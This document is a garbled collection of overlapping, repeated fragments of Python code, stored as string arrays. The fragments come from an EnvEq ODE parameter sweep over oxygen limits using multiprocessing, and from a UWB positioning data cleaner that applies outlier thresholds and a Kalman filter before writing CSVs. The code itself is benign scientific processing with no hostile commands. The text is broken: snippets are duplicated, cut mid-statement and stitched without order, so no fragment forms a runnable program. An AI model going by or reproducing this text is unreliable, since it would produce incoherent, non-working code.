'__main__': pool = Pool(4) pool.map(solve_parm,o2_lim_arr) #iterate over", "inputs other than o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__", "for saving raw_outputs try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except: pass #iterator over these", "f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ == '__main__': pool =", "delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for saving raw_outputs try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name)", "pool = Pool(4) pool.map(solve_parm,o2_lim_arr) #iterate over the o2_lims pool.close() pool.join()", "import EnvEq as ee import numpy as np import itertools", "Pool import EnvEq as ee import numpy as np import", "o2_lim_arr=np.empty([0,2]) for ulim_Tpro in np.arange(0.1,1,0.2): for ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0)", "than o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ == '__main__':", "other than o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ ==", "into numpy arrays from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]])", "* y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64)", "EnvEq as ee import numpy as np import itertools as", "in np.arange(0.1,1,0.2): for ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls", "__name__ == '__main__': pool = Pool(4) pool.map(solve_parm,o2_lim_arr) #iterate over the", "pass #iterator over these o2_lim_arr=np.empty([0,2]) for ulim_Tpro in np.arange(0.1,1,0.2): for", "#parsing input into numpy arrays from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test])", "import os #parsing input into numpy arrays from input import", "from multiprocessing import Pool import EnvEq as ee import numpy", "import itertools as it import os #parsing input into numpy", "itertools as it import os #parsing input into numpy arrays", "default inputs other than o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if", "the solve_eq function with all default inputs other than o2_lim", "mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for", "ulim_Tpro in np.arange(0.1,1,0.2): for ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2):", "== '__main__': pool = Pool(4) pool.map(solve_parm,o2_lim_arr) #iterate over the o2_lims", "input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg])", "ee import numpy as np import itertools as it import", "def solve_parm(u_lim_o2): #calls the solve_eq function with all default inputs", "import Pool import EnvEq as ee import numpy as np", "lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ == '__main__': pool = Pool(4) pool.map(solve_parm,o2_lim_arr)", "t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for saving raw_outputs", "numpy as np import itertools as it import os #parsing", "#calls the solve_eq function with all default inputs other than", "as ee import numpy as np import itertools as it", "import numpy as np import itertools as it import os", "for ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the solve_eq", "multiprocessing import Pool import EnvEq as ee import numpy as", "as it import os #parsing input into numpy arrays from", "#make directories for saving raw_outputs try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except: pass #iterator", "arrays from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg])", "o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ == '__main__': pool", "function with all default inputs other than o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0]", "np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the solve_eq function with all", "from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg])", "p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories", "rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for saving raw_outputs try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except:", "these o2_lim_arr=np.empty([0,2]) for ulim_Tpro in np.arange(0.1,1,0.2): for ulim_Tneg in np.arange(0.1,1,0.2):", "saving raw_outputs try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except: pass #iterator over these o2_lim_arr=np.empty([0,2])", "os #parsing input into numpy arrays from input import *", "over these o2_lim_arr=np.empty([0,2]) for ulim_Tpro in np.arange(0.1,1,0.2): for ulim_Tneg in", "ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ == '__main__': pool = Pool(4) pool.map(solve_parm,o2_lim_arr) #iterate", "lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for saving", "#iterator over these o2_lim_arr=np.empty([0,2]) for ulim_Tpro in np.arange(0.1,1,0.2): for ulim_Tneg", "raw_outputs try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except: pass #iterator over these o2_lim_arr=np.empty([0,2]) for" ]
[ "range(1, 325): file_path = f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data, final_processed_data = data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\",", "# process variance # allocate space for arrays xhat =", "Measures.append(measure) Measures = np.array(Measures) # Measures是三维数组是获取的所有测量数据 normalized_device_data = [] normalized_device_data_x", "去除离群点 for _ in range(iteration_num): for i in range(4): for", "size of array # Q = 1e-5 # process variance", "1 H = 1 for k in range(1, n_iter): #", "Kg(k)H)P(k|k-1), H=1 return xhat def data_process(file_path: str): with open(file_path, \"r\")", "P[k] = (1 - K[k] * H) * Pminus[k] #", "normalized_device_data_x = device_data_x normalized_device_data = np.array(normalized_device_data) normalized_device_data_x = np.array(normalized_device_data_x) device_data", "+ j], flags=0) device.extend([int(anchor.group(3)) - initial_time, anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值", "arrays xhat = np.zeros(sz) # a posteri estimate of x", "j] > high_thre[i]: processed_device_data[i, j] = device_mean[i] xhat = []", "guesses xhat[0] = 0.0 P[0] = 1.0 A = 1", "+ Q # P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1 #", "[] anchor = re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4 * i + j], flags=0)", "array # Q = 1e-5 # process variance Q =", "to see effect # intial guesses xhat[0] = 0.0 P[0]", "# 去除离群点 high_thre = device_mean + device_std * thre #", "xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat = np.array(xhat) xhat = np.around(xhat, 1) #", "xhatminus[k] + K[k] * (z[k] - H * xhatminus[k]) #", "raw_data = device_data[i] raw_data = processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat =", "csvwriter.writerow([\"Number\", \"A0\", \"A1\", \"A2\", \"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), ) def collect_dataset(kind):", "= [] for i in range(4): # raw_data = device_data[i]", "list(map(int, device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures = np.array(Measures) #", "# 获取数据序号、设备号、测量值 device = list(map(int, device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据 Measures.append(measure)", "= [] device_data = [] device_data_x = [] for i", "int(initial_time.group(1)) Measures = [] for i in range(int(data_num)): measure =", "j] < low_thre[i] or device_data[i, j] > high_thre[i]: processed_device_data[i, j]", "def collect_dataset(kind): for i in range(1, 325): file_path = f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\"", "n_iter=len(raw_data))) xhat = np.array(xhat) xhat = np.around(xhat, 1) # 将滤波后的四组坐标值,保留一位小数", "# 要调整的参数,这个是迭代次数 def KalmanFilter(z, n_iter=20): # 卡尔曼滤波 # 这里是假设A=1,H=1的情况 #", "= 1 for k in range(1, n_iter): # time update", "in range(1, n_iter): # time update xhatminus[k] = A *", "Pminus[k] = A * P[k - 1] + Q #", "\"A2\", \"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), ) def collect_dataset(kind): for i in", "device_std = np.std(device_data, axis=1) low_thre = device_mean - device_std *", "final_processed_data = data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data) def collect_labels(): pass if __name__", "for k in range(1, n_iter): # time update xhatminus[k] =", "打开文件 f.readline() # 去掉第一行 data = f.readlines() # 读取文件 data_num", "dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter = csv.writer(datacsv, dialect=(\"excel\")) # csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\", \"A0\", \"A1\",", "1.5 # 要调整的参数,这个是阈值 iteration_num = 2 # 要调整的参数,这个是迭代次数 def KalmanFilter(z,", "K = np.zeros(sz) # gain or blending factor R =", "def KalmanFilter(z, n_iter=20): # 卡尔曼滤波 # 这里是假设A=1,H=1的情况 # intial parameters", "intial parameters sz = (n_iter,) # size of array #", "save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data) def collect_labels(): pass if __name__ == '__main__': collect_dataset(\"正常\")", "initial_time, anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值 device = list(map(int, device)) measure.append(device)", "np.array(normalized_device_data_x) device_data = np.array(device_data) device_data_x = np.array(device_data_x) processed_device_data = np.array(device_data).copy()", "# 一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures = np.array(Measures) # Measures是三维数组是获取的所有测量数据 normalized_device_data =", "\"w+\", newline=\"\") as datacsv: # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter = csv.writer(datacsv, dialect=(\"excel\"))", "posteri estimate of x P = np.zeros(sz) # a posteri", "device_mean = np.mean(device_data, axis=1) device_std = np.std(device_data, axis=1) low_thre =", "- Kg(k)H)P(k|k-1), H=1 return xhat def data_process(file_path: str): with open(file_path,", "= (1 - K[k] * H) * Pminus[k] # P(k|k)", "Q # P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1 # measurement", "# raw_data = device_data[i] raw_data = processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat", "np thre = 1.5 # 要调整的参数,这个是阈值 iteration_num = 2 #", "with open(file_path, \"w+\", newline=\"\") as datacsv: # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter =", "error estimate xhatminus = np.zeros(sz) # a priori estimate of", "# intial guesses xhat[0] = 0.0 P[0] = 1.0 A", "xhat = np.zeros(sz) # a posteri estimate of x P", "in range(int(data_num)): measure = [] for j in range(4): device", "i in range(int(data_num)): measure = [] for j in range(4):", "# P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1 return xhat def", "for i in range(1, 325): file_path = f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data, final_processed_data", "re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4 * i + j], flags=0) device.extend([int(anchor.group(3)) - initial_time,", "as np thre = 1.5 # 要调整的参数,这个是阈值 iteration_num = 2", "= len(data) / 4 if int(data_num) - data_num < -0.1:", "= [] device_data_x = [] for i in range(4): device_data.append(Measures[:,", "process variance # allocate space for arrays xhat = np.zeros(sz)", "= [] for i in range(int(data_num)): measure = [] for", "# P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1 # measurement update", "np.array(device_data).copy() device_mean = np.mean(device_data, axis=1) device_std = np.std(device_data, axis=1) low_thre", "in range(iteration_num): for i in range(4): for j in range(len(device_data[i,", "file_path = f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data, final_processed_data = data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data) def", "range(4): device_data.append(Measures[:, i, 2]) device_data_x.append(np.arange(len(Measures[:, i, 2]))) normalized_device_data.append(device_data[i] / np.max(Measures[:,", "\"r\") as f: # 打开文件 f.readline() # 去掉第一行 data =", "np.zeros(sz) # gain or blending factor R = 0.015 **", "variance, change to see effect # intial guesses xhat[0] =", "initial_time = int(initial_time.group(1)) Measures = [] for i in range(int(data_num)):", "# 这里是假设A=1,H=1的情况 # intial parameters sz = (n_iter,) # size", "for j in range(len(device_data[i, :])): if device_data[i, j] < low_thre[i]", "= list(map(int, device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures = np.array(Measures)", "= A * xhat[k - 1] # X(k|k-1) = AX(k-1|k-1)", "anchor = re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4 * i + j], flags=0) device.extend([int(anchor.group(3))", "- initial_time, anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值 device = list(map(int, device))", "# 获取初始数据序列 initial_time = int(initial_time.group(1)) Measures = [] for i", "= f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data, final_processed_data = data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data) def collect_labels():", "< low_thre[i] or device_data[i, j] > high_thre[i]: processed_device_data[i, j] =", "<filename>task1_makeTrainingDataset.py import csv import re import numpy as np thre", "estimate of x P = np.zeros(sz) # a posteri error", "of x Pminus = np.zeros(sz) # a priori error estimate", "range(4): # raw_data = device_data[i] raw_data = processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data)))", "j] = device_mean[i] xhat = [] for i in range(4):", "allocate space for arrays xhat = np.zeros(sz) # a posteri", "import numpy as np thre = 1.5 # 要调整的参数,这个是阈值 iteration_num", "j in range(4): device = [] anchor = re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4", "= np.array(device_data).copy() device_mean = np.mean(device_data, axis=1) device_std = np.std(device_data, axis=1)", "np.zeros(sz) # a posteri estimate of x P = np.zeros(sz)", "# X(k|k-1) = AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) = 0", "range(4): device = [] anchor = re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4 * i", "axis=1) device_std = np.std(device_data, axis=1) low_thre = device_mean - device_std", "P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1 # measurement update K[k]", "return device_data, xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path: str, Measures): with", "xhat = [] for i in range(4): # raw_data =", "= np.around(xhat, 1) # 将滤波后的四组坐标值,保留一位小数 return device_data, xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据", "f.readline() # 去掉第一行 data = f.readlines() # 读取文件 data_num =", "# 卡尔曼滤波 # 这里是假设A=1,H=1的情况 # intial parameters sz = (n_iter,)", "i in range(4): device_data.append(Measures[:, i, 2]) device_data_x.append(np.arange(len(Measures[:, i, 2]))) normalized_device_data.append(device_data[i]", "high_thre = device_mean + device_std * thre # 去除离群点 for", "collect_dataset(kind): for i in range(1, 325): file_path = f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data,", "[] for i in range(4): # raw_data = device_data[i] raw_data", "ValueError(\"数据数量不对!\") initial_time = re.search(\":.*:([0-9]*)\", data[0], flags=0) # 获取初始数据序列 initial_time =", "normalized_device_data.append(device_data[i] / np.max(Measures[:, i, 2])) # 最大值归一化 normalized_device_data_x = device_data_x", "a posteri estimate of x P = np.zeros(sz) # a", "n_iter): # time update xhatminus[k] = A * xhat[k -", "= device_mean - device_std * thre # 去除离群点 high_thre =", "+ R],H=1 xhat[k] = xhatminus[k] + K[k] * (z[k] -", "str): with open(file_path, \"r\") as f: # 打开文件 f.readline() #", "将滤波后的四组坐标值,保留一位小数 return device_data, xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path: str, Measures):", "effect # intial guesses xhat[0] = 0.0 P[0] = 1.0", "一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures = np.array(Measures) # Measures是三维数组是获取的所有测量数据 normalized_device_data = []", "* P[k - 1] + Q # P(k|k-1) = AP(k-1|k-1)A'", "** 2 # estimate of measurement variance, change to see", "Measures是三维数组是获取的所有测量数据 normalized_device_data = [] normalized_device_data_x = [] device_data = []", "error estimate K = np.zeros(sz) # gain or blending factor", "i, 2])) # 最大值归一化 normalized_device_data_x = device_data_x normalized_device_data = np.array(normalized_device_data)", "def save_data(file_path: str, Measures): with open(file_path, \"w+\", newline=\"\") as datacsv:", "with open(file_path, \"r\") as f: # 打开文件 f.readline() # 去掉第一行", "xhat[k - 1] # X(k|k-1) = AX(k-1|k-1) + BU(k) +", "# gain or blending factor R = 0.015 ** 2", "X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1 P[k] = (1 -", "data[0], flags=0) # 获取初始数据序列 initial_time = int(initial_time.group(1)) Measures = []", "= np.array(Measures) # Measures是三维数组是获取的所有测量数据 normalized_device_data = [] normalized_device_data_x = []", "axis=1) low_thre = device_mean - device_std * thre # 去除离群点", "f: # 打开文件 f.readline() # 去掉第一行 data = f.readlines() #", "- data_num < -0.1: raise ValueError(\"数据数量不对!\") initial_time = re.search(\":.*:([0-9]*)\", data[0],", "= 1e-5 # process variance Q = 1e-6 # process", "1] # X(k|k-1) = AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) =", "x Pminus = np.zeros(sz) # a priori error estimate K", "a posteri error estimate xhatminus = np.zeros(sz) # a priori", "xhat = np.array(xhat) xhat = np.around(xhat, 1) # 将滤波后的四组坐标值,保留一位小数 return", "# a posteri estimate of x P = np.zeros(sz) #", "f.readlines() # 读取文件 data_num = len(data) / 4 if int(data_num)", "= data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data) def collect_labels(): pass if __name__ ==", "i, 2]) device_data_x.append(np.arange(len(Measures[:, i, 2]))) normalized_device_data.append(device_data[i] / np.max(Measures[:, i, 2]))", "= re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4 * i + j], flags=0) device.extend([int(anchor.group(3)) -", "# 读取文件 data_num = len(data) / 4 if int(data_num) -", "KalmanFilter(z, n_iter=20): # 卡尔曼滤波 # 这里是假设A=1,H=1的情况 # intial parameters sz", "processed_device_data = np.array(device_data).copy() device_mean = np.mean(device_data, axis=1) device_std = np.std(device_data,", "2 # 要调整的参数,这个是迭代次数 def KalmanFilter(z, n_iter=20): # 卡尔曼滤波 # 这里是假设A=1,H=1的情况", "i in range(1, 325): file_path = f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data, final_processed_data =", ":])): if device_data[i, j] < low_thre[i] or device_data[i, j] >", "# device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path: str, Measures): with open(file_path, \"w+\", newline=\"\")", "# intial parameters sz = (n_iter,) # size of array", "1) # 将滤波后的四组坐标值,保留一位小数 return device_data, xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path:", "Measures): with open(file_path, \"w+\", newline=\"\") as datacsv: # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter", "= 2 # 要调整的参数,这个是迭代次数 def KalmanFilter(z, n_iter=20): # 卡尔曼滤波 #", "as f: # 打开文件 f.readline() # 去掉第一行 data = f.readlines()", "/ (Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k] =", "device_data[i, j] < low_thre[i] or device_data[i, j] > high_thre[i]: processed_device_data[i,", "str, Measures): with open(file_path, \"w+\", newline=\"\") as datacsv: # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符", "Pminus[k] / (Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k]", "intial guesses xhat[0] = 0.0 P[0] = 1.0 A =", "- H * xhatminus[k]) # X(k|k) = X(k|k-1) + Kg(k)[Z(k)", "= 1 H = 1 for k in range(1, n_iter):", "P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1 return xhat def data_process(file_path:", "1.0 A = 1 H = 1 for k in", "# 要调整的参数,这个是阈值 iteration_num = 2 # 要调整的参数,这个是迭代次数 def KalmanFilter(z, n_iter=20):", "* Pminus[k] # P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1 return", "去掉第一行 data = f.readlines() # 读取文件 data_num = len(data) /", "device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures = np.array(Measures) # Measures是三维数组是获取的所有测量数据", "= device_mean + device_std * thre # 去除离群点 for _", "# size of array # Q = 1e-5 # process", "for arrays xhat = np.zeros(sz) # a posteri estimate of", "if device_data[i, j] < low_thre[i] or device_data[i, j] > high_thre[i]:", "[] for i in range(int(data_num)): measure = [] for j", "processed_device_data[i, j] = device_mean[i] xhat = [] for i in", "of measurement variance, change to see effect # intial guesses", "(z[k] - H * xhatminus[k]) # X(k|k) = X(k|k-1) +", "P[0] = 1.0 A = 1 H = 1 for", "# a posteri error estimate xhatminus = np.zeros(sz) # a", "# Measures是三维数组是获取的所有测量数据 normalized_device_data = [] normalized_device_data_x = [] device_data =", "H=1 return xhat def data_process(file_path: str): with open(file_path, \"r\") as", "+ W(k),A=1,BU(k) = 0 Pminus[k] = A * P[k -", "X(k|k) = X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1 P[k] =", "np.array(Measures) # Measures是三维数组是获取的所有测量数据 normalized_device_data = [] normalized_device_data_x = [] device_data", "* (z[k] - H * xhatminus[k]) # X(k|k) = X(k|k-1)", "* i + j], flags=0) device.extend([int(anchor.group(3)) - initial_time, anchor.group(1), anchor.group(2)])", "= [] for j in range(4): device = [] anchor", "data_num < -0.1: raise ValueError(\"数据数量不对!\") initial_time = re.search(\":.*:([0-9]*)\", data[0], flags=0)", "update xhatminus[k] = A * xhat[k - 1] # X(k|k-1)", "sz = (n_iter,) # size of array # Q =", "卡尔曼滤波 # 这里是假设A=1,H=1的情况 # intial parameters sz = (n_iter,) #", "0.015 ** 2 # estimate of measurement variance, change to", "# Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k] = xhatminus[k] + K[k] *", "(1 - Kg(k)H)P(k|k-1), H=1 return xhat def data_process(file_path: str): with", "range(4): for j in range(len(device_data[i, :])): if device_data[i, j] <", "normalized_device_data_x = [] device_data = [] device_data_x = [] for", "-0.1: raise ValueError(\"数据数量不对!\") initial_time = re.search(\":.*:([0-9]*)\", data[0], flags=0) # 获取初始数据序列", "device_mean - device_std * thre # 去除离群点 high_thre = device_mean", "parameters sz = (n_iter,) # size of array # Q", "= [] anchor = re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4 * i + 